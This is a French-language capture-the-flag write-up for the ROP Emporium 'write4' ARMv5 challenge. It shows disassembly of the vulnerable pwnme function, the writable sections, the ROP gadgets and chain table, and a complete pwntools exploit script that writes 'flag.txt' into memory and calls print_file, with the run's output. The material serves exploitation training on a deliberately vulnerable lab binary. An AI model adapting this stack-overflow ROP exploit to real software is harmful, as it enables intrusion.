Ropemporium ARMv5 write4
armv5 write4
Introduction
Dans cet exercice on doit appeller une fonction avec en paramètre une chaine de caractère péalablement écrite en mémoire.
Ennoncé sur le site ropemporium : write4
Analyse
Le programe principal
LA fonction principale :
┌ 24: int main (int argc, char **argv, char **envp);
│ ; var int32_t var_4h @ sp+0x4
│ 0x000105b8 00482de9 push {fp, lr}
│ 0x000105bc 04b08de2 add fp, var_4h
│ 0x000105c0 b1ffffeb bl sym.imp.pwnme
│ 0x000105c4 0030a0e3 mov r3, 0
│ 0x000105c8 0300a0e1 mov r0, r3
└ 0x000105cc 0088bde8 pop {fp, pc}
Elle appelle directement le fonction vulnérable qui est importée de la librairie, comme nous l’indique le préfix imp de radare2. L’adresse imp est une adresse de la PLT.
La fonction suivante nous sugère l’appel de la fonction importée print_file
.
┌ 24: sym.usefulFunction ();
│ ; var int32_t var_4h @ sp+0x4
│ 0x000105d0 00482de9 push {fp, lr}
│ 0x000105d4 04b08de2 add fp, var_4h
│ 0x000105d8 08009fe5 ldr r0, str.nonexistent ; [0x10668:4]=0x656e6f6e ; "nonexistent"
│ 0x000105dc b3ffffeb bl sym.imp.print_file
│ 0x000105e0 0000a0e1 mov r0, r0 ; 0x10668 ; "nonexistent"
└ 0x000105e4 0088bde8 pop {fp, pc}
La librairie
La fonction vulnérable
┌ 180: sym.pwnme ();
│ ; var void *buf @ fp-0x24
│ ; var int32_t var_4h_2 @ sp+0x20
│ ; var int32_t var_4h @ sp+0x24
│ 0x000006e0 00482de9 push {fp, lr}
│ 0x000006e4 04b08de2 add fp, var_4h
│ 0x000006e8 20d04de2 sub sp, sp, 0x20
│ 0x000006ec a0209fe5 ldr r2, [0x00000794] ; [0x794:4]=0x10908
│ 0x000006f0 02208fe0 add r2, pc, r2 ; 0x11000 ; " \x0f\x01"
│ 0x000006f4 9c309fe5 ldr r3, aav.0x00000044 ; [0x798:4]=68
│ 0x000006f8 033092e7 ldr r3, [r2, r3] ; 0x11044
│ ; reloc.stdout
│ 0x000006fc 000093e5 ldr r0, [r3] ; FILE*stream
│ 0x00000700 0030a0e3 mov r3, 0
│ 0x00000704 0220a0e3 mov r2, 2
│ 0x00000708 0010a0e3 mov r1, 0 ; char *buf
│ 0x0000070c a1ffffeb bl sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00000710 84309fe5 ldr r3, aav.0x00000138 ; [0x79c:4]=312
│ 0x00000714 03308fe0 add r3, pc, r3 ; 0x854 ; "write4 by ROP Emporium"
│ 0x00000718 0300a0e1 mov r0, r3 ; 0x854 ; "write4 by ROP Emporium" ; const char *s
│ 0x0000071c 94ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000720 78309fe5 ldr r3, aav.0x00000140 ; [0x7a0:4]=320
│ 0x00000724 03308fe0 add r3, pc, r3 ; 0x86c ; "ARMv5\n"
│ 0x00000728 0300a0e1 mov r0, r3 ; 0x86c ; "ARMv5\n" ; const char *s
│ 0x0000072c 90ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000730 24304be2 sub r3, buf
│ 0x00000734 2020a0e3 mov r2, 0x20
│ 0x00000738 0010a0e3 mov r1, 0 ; int c
│ 0x0000073c 0300a0e1 mov r0, r3 ; void *s
│ 0x00000740 97ffffeb bl sym.imp.memset ; void *memset(void *s, int c, size_t n)
│ 0x00000744 58309fe5 ldr r3, aav.0x00000124 ; [0x7a4:4]=292
│ 0x00000748 03308fe0 add r3, pc, r3 ; 0x874 ; "Go ahead and give me the input already!\n"
│ 0x0000074c 0300a0e1 mov r0, r3 ;
│ 0x00000750 87ffffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000754 4c309fe5 ldr r3, aav.0x00000140 ; [0x7a8:4]=320
│ 0x00000758 03308fe0 add r3, pc, r3 ; 0x8a0 ; "> "
│ 0x0000075c 0300a0e1 mov r0, r3 ;
│ 0x00000760 77ffffeb bl sym.imp.printf ; int printf(const char *format)
│ 0x00000764 24304be2 sub r3, buf
│ 0x00000768 022ca0e3 mov r2, 0x200
│ 0x0000076c 0310a0e1 mov r1, r3 ; void *buf
│ 0x00000770 0000a0e3 mov r0, 0 ; int fildes
│ 0x00000774 78ffffeb bl sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
│ 0x00000778 2c309fe5 ldr r3, aav.0x00000120 ; [0x7ac:4]=288
│ 0x0000077c 03308fe0 add r3, pc, r3 ; 0x8a4 ; "Thank you!"
│ 0x00000780 0300a0e1 mov r0, r3 ; 0x8a4 ; "Thank you!" ; const char *s
│ 0x00000784 7affffeb bl sym.imp.puts ; int puts(const char *s)
│ 0x00000788 0000a0e1 mov r0, r0 ; 0x8a4 ; "Thank you!"
│ 0x0000078c 04d04be2 sub sp, var_4h_2
└ 0x00000790 0088bde8 pop {fp, pc}
La sequence de lecture de stdin nous donne l’offset de débordement : 0x24 pour atteindre la sauvegarde de $fp et
│ ; var void *buf @ fp-0x24
│ 0x00000768 022ca0e3 mov r2, 0x200
│ 0x0000076c 0310a0e1 mov r1, r3 ; void *buf
│ 0x00000770 0000a0e3 mov r0, 0 ; int fildes
│ 0x00000774 78ffffeb bl sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
On lit 0x200 (512) octets donc largement de quoi déborder et placer une grosse charge.
Notre objectif est donc d’ecrire “flag.txt” a une adresse inscriptible, charge cette adresse dans r0 puis apeller print_file
.
L’adresse de print_file :
[0x000104c8]> f~imp
0x00000000 16 loc.imp._ITM_deregisterTMCloneTable
0x00000000 16 loc.imp._ITM_registerTMCloneTable
0x0001048c 12 sym.imp.pwnme
0x00010498 12 sym.imp.__libc_start_main
0x000104a4 16 loc.imp.__gmon_start__
0x000104b0 12 sym.imp.print_file <===
0x000104bc 12 sym.imp.abort
Identification d’une zone inscriptible.
On utilise radare2 pour lister les sections et leus propriétés.
[0x000006dc]> iS
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x000000f4 0x24 0x000000f4 0x24 -r-- .note.gnu.build-id
2 0x00000118 0x50 0x00000118 0x50 -r-- .gnu.hash
3 0x00000168 0x1c0 0x00000168 0x1c0 -r-- .dynsym
4 0x00000328 0xff 0x00000328 0xff -r-- .dynstr
5 0x00000428 0x38 0x00000428 0x38 -r-- .gnu.version
6 0x00000460 0x20 0x00000460 0x20 -r-- .gnu.version_r
7 0x00000480 0x40 0x00000480 0x40 -r-- .rel.dyn
8 0x000004c0 0x58 0x000004c0 0x58 -r-- .rel.plt
9 0x00000518 0xc 0x00000518 0xc -r-x .init
10 0x00000524 0x98 0x00000524 0x98 -r-x .plt
11 0x000005bc 0x290 0x000005bc 0x290 -r-x .text
12 0x0000084c 0x8 0x0000084c 0x8 -r-x .fini
13 0x00000854 0x79 0x00000854 0x79 -r-- .rodata
14 0x000008d0 0x4 0x000008d0 0x4 -r-- .eh_frame
15 0x00000f18 0x4 0x00010f18 0x4 -rw- .init_array
16 0x00000f1c 0x4 0x00010f1c 0x4 -rw- .fini_array
17 0x00000f20 0xe0 0x00010f20 0xe0 -rw- .dynamic
18 0x00001000 0x4c 0x00011000 0x4c -rw- .got
19 0x0000104c 0x4 0x0001104c 0x4 -rw- .data
20 0x00001050 0x0 0x00011050 0x4 -rw- .bss
21 0x00001050 0x30 0x00000000 0x30 ---- .comment
22 0x00001080 0x28 0x00000000 0x28 ---- .ARM.attributes
23 0x000010a8 0x5d0 0x00000000 0x5d0 ---- .symtab
24 0x00001678 0x30e 0x00000000 0x30e ---- .strtab
25 0x00001986 0xe4 0x00000000 0xe4 ---- .shstrtab
La section data suivie de la section .bss contiennent juste de quoi stocker “flag.txt”.
Construction de la chaine
Idenfication des gadgets.
Pour charge r0 :
0x000105f4 : pop {r0, pc}
Pour écrire en memoire.
Requête :
ROPgadget --binary write4_armv5 |grep str
On retient
0x000105ec : str r3, [r4] ; pop {r3, r4, pc}
Et pour charger r3 et r4.
0x000105f0 : pop {r3, r4, pc}
La chaîne
On doit écrire la chaîne “flag.txt” en deux fois puisqu’on a des registre de 32 bits.
Le gadget d’écriture enchaine sur le gadget de pop r3,r4
donc on peut anticiper les chargement pour l’écriture suivante.
Et lors de la seconde écriture, prévoir des valeurs sans importance pour le pop r3,r4
.
ROP entry | comment |
---|---|
0x000105f0 | pop {r3, r4, pc} |
0x67616c66 | “flag” pour r4 |
0x0000104c | .data pour r3 |
0x000105ec | str r3, [r4] ; pop {r3, r4, pc} |
0x7478742e | “.txt” pour r4 |
0x00001050 | .data+4 pour r3 |
0x000105ec | str r3, [r4] ; pop {r3, r4, pc} |
0x0 | pour r3 sans importance |
0x0 | pour r4 sans importance |
0x000105f4 | pop {r0, pc} |
0x0000104c | .data |
0x000104b0 | print_file@plt |
Exploitation
Le script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# Set up pwntools for the correct architecture
elf = context.binary = ELF('write4_armv5')
# 164 : read
# 176 : ret
gs='''
b *pwnme+176
'''
# pop {r3, r4, pc}
g_pop_r3r4 = 0x000105f0
# str r3, [r4] ; pop {r3, r4, pc}
g_str_r3r4 = 0x000105ec
# pop {r0, pc}
g_pop_r0 = 0x000105f4
if len(sys.argv)>1 and sys.argv[1] == "-d":
io = gdb.debug([elf.path],gdbscript=gs)
else:
io = process([elf.path])
data = elf.get_section_by_name('.data').header['sh_addr']
print_file = elf.plt['print_file']
main=elf.symbols['main']
log.info(f".data = 0x{data}")
log.info(f".print_file = 0x{print_file}")
io.recvuntil(b"> ")
offset=0x24
flagfile=b"flag.txt"
PL=b"A"*offset
PL+=p32(g_pop_r3r4)
PL+=flagfile[:4]
PL+=p32(data)
PL+=p32(g_str_r3r4)
PL+=flagfile[4:8]
PL+=p32(data+4)
PL+=p32(g_str_r3r4)
PL+=p32(0)
PL+=p32(0)
PL+=p32(g_pop_r0)
PL+=p32(data)
PL+=p32(print_file)
PL+=p32(main)
io.sendline(PL)
io.interactive()
Son exécution
[*] '/home/jce/w/ropemporium/armv5/04_write4/write4_armv5'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
RUNPATH: b'.'
[+] Starting local process '/home/jce/w/ropemporium/armv5/04_write4/write4_armv5': pid 11007
[*] .data = 0x135204
[*] .print_file = 0x66736
[*] Switching to interactive mode
Thank you!
ROPE{a_placeholder_32byte_flag!}
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive
Je n’ais pas trouvé comment enchaîner avec adresse propre pour ne pas planter